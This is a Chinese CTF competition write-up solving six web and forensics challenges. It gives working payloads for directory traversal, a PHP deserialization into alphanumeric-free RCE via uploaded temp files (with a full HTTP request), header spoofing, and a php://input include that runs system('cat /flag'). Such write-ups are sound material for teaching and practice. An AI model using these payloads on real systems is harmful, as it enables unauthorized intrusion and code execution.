電科院密碼保密與資訊保安競賽網路攻防宣傳賽 Writeup

天翔RT發表於2024-04-01

一、 戰隊資訊

戰隊名稱:20221214

戰隊排名:1

二、 解題過程

ctf1

用Winhex開啟,最後有一串編碼字元,拿去一把梭即可。

ctf2

目錄穿越

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/flag

ctf3

仔細觀察可以看到url編碼後的SQL隱碼攻擊語句,mid用於擷取字串,當出現welcome admin!說明該字元正確,將正確的字元逐個寫入到C指令碼變數中,輸出得到flag。

char a[] = {102,108,97,103,123,99,49,52,50,54,53,97,53,51,98,101,99,49,56,52,56,98,102,97,99,50,100,102,100,97,51,101,54,54,55,98,99,125};
	cout << a;

ctf4

開啟網頁,一個簡單的反序列化+困難的無字母數字RCE,序列化程式碼如下:

class icunqi{
    public $code = "ls";	//要執行的程式碼
}

$ta = new icunqi();
echo urlencode(serialize($ta));

將得到的一串字元放入 ?code=後即可。

無字母數字RCE可以使用PHP任意檔案上傳漏洞,即向 PHP 傳送 Post 資料包,如果資料包中包含檔案,無論 php 程式碼中有沒有處理檔案上傳的邏輯,php 都會將這個檔案儲存為一個臨時檔案:

  • 該檔案預設儲存在 /tmp 目錄中『可透過 php.iniupload_tmp_dir 指定儲存位置』
  • 檔名為 php[6個隨機字元],例:phpG4ef0q

HTTP請求如下:

POST /?code=O%3A6%3A%22icunqi%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A10%3A%22%2F%3F%3F%3F%2F%5B%60-%7B%5D%22%3B%7D HTTP/1.1
Host: 39.106.48.123:28692
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714
Connection: close

-----------------------------7dbff1ded0714
Content-Disposition: form-data; name="file"; filename="test.txt"

#!/bin/sh

whoami
-----------------------------7dbff1ded0714--

在上傳檔案的同時執行 . /???/????????[@-[ 即可有機率執行 whoami,多嘗試幾次即可。

隨後執行 ls,看到包含flag的檔案,cat 即可得到 flag。

ctf5

根據提示,在請求頭新增 X-Forward-For:1.1.1.1,得到flag。

ctf6

開啟頁面,看到提示: flag in cream,開啟/cream.php,感覺考察的是程式碼審計。

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['file'])&&strlen($_GET['file'])>strlen("flag in cream")){
    die("too long,no flag");
}
$fp = fopen($_GET['file'], 'r+');
if(preg_match("/php|file|http|eval|exec|system|popen|flag|\<|\>|\"|\'/i", $_GET['content'])){
    die("hacker");
}
fputs($fp, $_GET['content']);
rewind($fp);
$data=stream_get_contents($fp);
include($data);
?>

簡而言之就是透過 get 可以提交兩個變數:filecontent。PHP首先根據 file 為路徑開啟一個檔案,然後把 content 寫進去(從檔案頭開始),之後再執行檔案裡的程式碼。

但其實,我嘗試了幾個 file 都寫不進去,於是嘗試 php 偽協議,get 引數為?file=php://input,方法改為POST,請求體為 data://text/plain,<?php phpinfo();得到 phpinfo

phpinfo() 改為 system('cat /flag') 即可得到 flag。

相關文章